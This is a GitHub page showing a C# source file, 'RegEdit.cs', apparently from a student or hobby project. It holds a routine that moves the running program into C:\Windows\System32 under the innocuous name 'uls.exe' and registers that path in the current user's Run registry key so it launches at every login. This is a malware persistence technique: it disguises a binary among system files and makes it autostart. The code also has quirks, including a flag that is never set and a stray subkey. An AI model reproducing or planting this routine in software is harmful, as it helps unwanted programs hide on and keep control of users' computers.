-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRegEdit.cs
58 lines (44 loc) · 1.61 KB
/
RegEdit.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
using System;
using System.Reflection.Metadata;
using System.Runtime;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Xml;
using System.IO;
using System.Runtime.InteropServices.JavaScript;
using Microsoft.Win32;
using System.Windows;
using System.Windows.Forms;
namespace gigas{
public class RegEdit
{
public static void Write()
{
// checks if file already exists
bool same = false;
string path = "C:\\Windows\\System32\\uls.exe";
string currentname = Environment.ProcessPath;
Console.WriteLine(currentname);
Console.WriteLine(path);
Console.WriteLine(File.Exists(path));
if (!File.Exists(path))
{
// moves file to set location
File.Move(currentname, path);
}
RegistryKey szRunKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
if (szRunKey != null)
{
if(!same)
{
Console.WriteLine("writing new key");
szRunKey.CreateSubKey("CSC432",RegistryKeyPermissionCheck.ReadWriteSubTree);
szRunKey.SetValue("StringValue",path);
}
szRunKey.Close();
}
else{Console.WriteLine("Registry Key Not Found.");}
}
}
}